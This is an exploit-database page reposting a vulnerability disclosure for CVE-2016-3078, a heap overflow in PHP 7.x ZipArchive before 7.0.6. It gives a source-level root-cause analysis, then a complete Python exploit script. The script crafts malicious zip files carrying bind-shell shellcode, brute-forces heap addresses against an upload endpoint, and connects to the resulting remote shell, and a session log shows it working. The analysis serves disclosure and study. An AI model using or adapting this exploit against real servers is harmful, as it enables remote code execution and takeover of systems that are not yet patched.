Home / exploits PHP 7.x ZIP Heap Overflow
Posted on 30 November -0001
<HTML><HEAD><TITLE>PHP 7.x ZIP Heap Overflow</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>Details ======= An integer wrap may occur in PHP 7.x before version 7.0.6 when reading zip files with the getFromIndex() and getFromName() methods of ZipArchive, resulting in a heap overflow. php-7.0.5/ext/zip/php_zip.c ,---- | 2679 static void php_zip_get_from(INTERNAL_FUNCTION_PARAMETERS, int type) /* {{{ */ | 2680 { | .... | 2684 struct zip_stat sb; | .... | 2689 zend_long len = 0; | .... | 2692 zend_string *buffer; | .... | 2702 if (type == 1) { | 2703 if (zend_parse_parameters(ZEND_NUM_ARGS(), "P|ll", &filename, &len, &flags) == FAILURE) { | 2704 return; | 2705 } | 2706 PHP_ZIP_STAT_PATH(intern, ZSTR_VAL(filename), ZSTR_LEN(filename), flags, sb); // (1) | 2707 } else { | 2708 if (zend_parse_parameters(ZEND_NUM_ARGS(), "l|ll", &index, &len, &flags) == FAILURE) { | 2709 return; | 2710 } | 2711 PHP_ZIP_STAT_INDEX(intern, index, 0, sb); // (1) | 2712 } | .... | 2718 if (len < 1) { | 2719 len = sb.size; | 2720 } | .... | 2731 buffer = zend_string_alloc(len, 0); // (2) | 2732 n = zip_fread(zf, ZSTR_VAL(buffer), ZSTR_LEN(buffer)); // (3) | .... | 2742 } `---- With `sb.size' from (1) being: php-7.0.5/ext/zip/lib/zip_stat_index.c ,---- | 038 ZIP_EXTERN int | 039 zip_stat_index(zip_t *za, zip_uint64_t index, zip_flags_t flags, | 040 zip_stat_t *st) | 041 { | ... | 043 zip_dirent_t *de; | 044 | 045 if ((de=_zip_get_dirent(za, index, flags, NULL)) == NULL) | 046 return -1; | ... | 063 st->size = de->uncomp_size; | ... | 086 } `---- Both `size' and `uncomp_size' are unsigned 64bit integers: php-7.0.5/ext/zip/lib/zipint.h ,---- | 339 struct zip_dirent { | ... | 351 zip_uint64_t uncomp_size; /* (cl) size of uncompressed data */ | ... | 332 }; `---- php-7.0.5/ext/zip/lib/zip.h ,---- | 279 struct zip_stat { | ... | 283 zip_uint64_t size; /* size of file (uncompressed) */ | ... | 290 }; `---- Whereas `len' is signed and has a platform-dependent size: php-7.0.5/Zend/zend_long.h ,---- | 028 #if defined(__x86_64__) || defined(__LP64__) || defined(_LP64) || defined(_WIN64) | 029 # define ZEND_ENABLE_ZVAL_LONG64 1 | 030 #endif | ... | 033 #ifdef ZEND_ENABLE_ZVAL_LONG64 | 034 typedef int64_t zend_long; | ... | 043 #else | 044 typedef int32_t zend_long; | ... | 053 #endif `---- Uncompressed file sizes in zip-archives may be specified as either 32- or 64bit values; with the latter requiring that the size be specified in the extra field in zip64 mode. Anyway, as for the invocation of `zend_string_alloc()' in (2): php-7.0.5/Zend/zend_string.h ,---- | 119 static zend_always_inline zend_string *zend_string_alloc(size_t len, int persistent) | 120 { | 121 zend_string *ret = (zend_string *)pemalloc(ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(len)), persistent); // (4) | ... | 133 ZSTR_LEN(ret) = len; // (5) | 134 return ret; | 135 } `---- The `size' argument to the `pemalloc' macro is aligned/adjusted in (4) whilst the *original* value of `len' is stored as the size of the allocated buffer in (5). No boundary checking is done in (4) and it may thus wrap, which would lead to a heap overflow during the invocation of `zip_fread()' in (3) as the `toread' argument is `ZSTR_LEN(buffer)': php-7.0.5/Zend/zend_string.h ,---- | 041 #define ZSTR_LEN(zstr) (zstr)->len `---- On a 32bit system: ,---- | (gdb) p/x ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(0xfffffffe)) | $1 = 0x10 `---- The wraparound may also occur on 64bit systems with `uncomp_size' specified in the extra field (Zip64 mode; ext/zip/lib/zip_dirent.c:463). However, it won't result in a buffer overflow because of `zip_fread()' bailing on a size that would have wrapped the allocation in (4): php-7.0.5/ext/zip/lib/zip_fread.c ,---- | 038 ZIP_EXTERN zip_int64_t | 039 zip_fread(zip_file_t *zf, void *outbuf, zip_uint64_t toread) | 040 { | ... | 049 if (toread > ZIP_INT64_MAX) { | 050 zip_error_set(&zf->error, ZIP_ER_INVAL, 0); | 051 return -1; | 052 } | ... | 063 } `---- php-7.0.5/ext/zip/lib/zipconf.h ,---- | 130 #define ZIP_INT64_MAX 0x7fffffffffffffffLL `---- ,---- | (gdb) p/x ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(0x7fffffffffffffff)) | $1 = 0x8000000000000018 `---- PoC === Against Arch Linux i686 with php-fpm 7.0.5 behind nginx [1]: ,---- | $ python exploit.py --bind-port 5555 http://1.2.3.4/upload.php | [*] this may take a while | [*] 103 of 4096 (0x67fd0)... | [+] connected to 1.2.3.4:5555 | | id | uid=33(http) gid=33(http) groups=33(http) | | uname -a | Linux arch32 4.5.1-1-ARCH #1 SMP PREEMPT Thu Apr 14 19:36:01 CEST | 2016 i686 GNU/Linux | | pacman -Qs php-fpm | local/php-fpm 7.0.5-2 | FastCGI Process Manager for PHP | | cat upload.php | <?php | $zip = new ZipArchive(); | if ($zip->open($_FILES["file"]["tmp_name"]) !== TRUE) { | echo "cannot open archive "; | } else { | for ($i = 0; $i < $zip->numFiles; $i++) { | $data = $zip->getFromIndex($i); | } | $zip->close(); | } | ?> `---- Solution ======== This issue has been fixed in php 7.0.6. Footnotes _________ [1] [https://github.com/dyntopia/exploits/tree/master/CVE-2016-3078] -- Hans Jerry Illikainen exploit.py: #!/usr/bin/env python2 # # PoC for CVE-2016-3078 targeting Arch Linux i686 running php-fpm 7.0.5 # behind nginx. # # ,---- # | $ python exploit.py --bind-port 5555 http://1.2.3.4/upload.php # | [*] this may take a while # | [*] 103 of 4096 (0x67fd0)... # | [+] connected to 1.2.3.4:5555 # | # | id # | uid=33(http) gid=33(http) groups=33(http) # | # | uname -a # | Linux arch32 4.5.1-1-ARCH #1 SMP PREEMPT Thu Apr 14 19:36:01 CEST # | 2016 i686 GNU/Linux # | # | pacman -Qs php-fpm # | local/php-fpm 7.0.5-2 # | FastCGI Process Manager for PHP # | # | cat upload.php # | <?php # | $zip = new ZipArchive(); # | if ($zip->open($_FILES["file"]["tmp_name"]) !== TRUE) { # | echo "cannot open archive "; # | } else { # | for ($i = 0; $i < $zip->numFiles; $i++) { # | $data = $zip->getFromIndex($i); # | } # | $zip->close(); # | } # | ?> # `---- # # - Hans Jerry Illikainen # import os import sys import argparse import socket import urlparse import collections from struct import pack from binascii import crc32 import requests # bindshell from PEDA shellcode = [ "x31xdbx53x43x53x6ax02x6ax66x58x99x89xe1xcdx80x96" "x43x52x66x68%(port)sx66x53x89xe1x6ax66x58x50x51x56" "x89xe1xcdx80xb0x66xd1xe3xcdx80x52x52x56x43x89xe1" "xb0x66xcdx80x93x6ax02x59xb0x3fxcdx80x49x79xf9xb0" "x0bx52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x52x53" "x89xe1xcdx80" ] # 100k runs had the zend_mm_heap mapped at 0xb6a00040 ~53.333% and at # 0xb6c00040 ~46.667% of the time. zend_mm_heap = [0xb6a00040, 0xb6c00040] # offset to the payload from the zend heap zend_mm_heap_offset = "0x%xfd0" # Zend/zend_alloc_sizes.h zend_mm_max_small_size = 3072 # exit() R_386_JUMP_SLOT = 0x08960a48 ZipEntry = collections.namedtuple("ZipEntry", "name, data, size") def zip_file_header(fname, data, size): return "".join([ pack("<I", 0x04034b50), # signature pack("<H", 0x0), # minimum version pack("<H", 0x0), # general purpose bit flag pack("<H", 0x0), # compression method pack("<H", 0), # last modification time pack("<H", 0), # last modification date pack("<I", crc32(data) & 0xffffffff), # crc-32 pack("<I", len(data)), # compressed size pack("<I", size), # uncompressed size pack("<H", len(fname)), # filename length pack("<H", 0x0), # extra field length fname, # filename "", # extra data # compressed data ]) def zip_central_dir(offset, fname, data, size): return "".join([ pack("<I", 0x02014b50), # signature pack("<H", 0x0), # archive created with version pack("<H", 0x0), # archive requires version pack("<H", 0x0), # general purpose bit flag pack("<H", 0x0), # compression method pack("<H", 0), # last modification time pack("<H", 0), # last modification date pack("<I", crc32(data) & 0xffffffff), # crc-32 pack("<I", len(data)), # compressed size pack("<I", size), # uncompressed size pack("<H", len(fname)), # filename length pack("<H", 0x0), # extra field length pack("<H", 0x0), # comment length pack("<H", 0x0), # disk number pack("<H", 0x0), # internal file attributes pack("<I", 0x0), # external file attributes pack("<I", offset), # offset of file header fname, # filename "", # extra "", # comment ]) def zip_central_dir_end(num, size, offset): return "".join([ pack("<I", 0x06054b50), # signature pack("<H", 0x0), # disk number pack("<H", 0x0), # disk where central directory starts pack("<H", num), # number of central directories on this disk pack("<H", num), # total number of central directory records pack("<I", size), # size of central directory pack("<I", offset), # offset of central directory pack("<H", 0x0), # comment length "" # comment ]) def zip_entries(addr, shellcode): if len(shellcode) > zend_mm_max_small_size: sys.exit("[-] shellcode is too big") size = 0xfffffffe length = 256 entries = [ZipEntry("shellcode", shellcode, zend_mm_max_small_size)] for i in range(16): data = "A" * length if i == 0: data = pack("<I", (R_386_JUMP_SLOT - 0x10)) * (length / 4) elif i == 3: data = pack("<I", addr) + data[4:] entries.append(ZipEntry("overflow", data, size)) return entries def zip_create(entries): archive = [] directories = [] offset = 0 for e in entries: file_header = zip_file_header(e.name, e.data, e.size) directories.append((e, offset)) offset += len(file_header) archive.append(file_header) directories_length = 0 for e, dir_offset in directories: central_dir = zip_central_dir(dir_offset, e.name, e.data, e.size) directories_length += len(central_dir) archive.append(central_dir) end = zip_central_dir_end(len(entries), directories_length, offset) archive.append(end) return "".join(archive) def zip_send(url, archive): files = {"file": archive} try: req = requests.post(url, files=files, timeout=5) except requests.exceptions.ConnectionError: sys.exit("[-] failed to send archive") except requests.exceptions.Timeout: return return req.status_code def connect(host, port): addr = socket.gethostbyname(host) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.connect((addr, port)) except socket.error: return print(" [+] connected to %s:%d" % (host, port)) if os.fork() == 0: while True: try: data = sock.recv(8192) except KeyboardInterrupt: sys.exit(" [!] receiver aborting") if data == "": sys.exit("[!] receiver aborting") sys.stdout.write(data) else: while True: try: cmd = sys.stdin.readline() except KeyboardInterrupt: sys.exit("[!] sender aborting") sock.send(cmd) def get_shellcode(port): p = pack(">H", port) if "x00" in p: sys.exit("[-] encode your NUL-bytes") return "".join(shellcode) % {"port": p} def get_args(): p = argparse.ArgumentParser() p.add_argument("--tries", type=int, default=4096) p.add_argument("--bind-port", type=int, default=8000) p.add_argument("url", help="POST url") return p.parse_args() def main(): args = get_args() shellcode = get_shellcode(args.bind_port) host = urlparse.urlparse(args.url).netloc.split(":")[0] print("[*] this may take a while") for i in range(args.tries): offset = int(zend_mm_heap_offset % i, 16) sys.stdout.write(" [*] %d of %d (0x%x)..." % (i, args.tries, offset)) sys.stdout.flush() for heap in zend_mm_heap: archive = zip_create(zip_entries(heap + offset, shellcode)) if zip_send(args.url, archive) == 404: sys.exit(" [-] 404: %s" % args.url) connect(host, args.bind_port) print(" [-] nope...") if __name__ == "__main__": main() </BODY></HTML>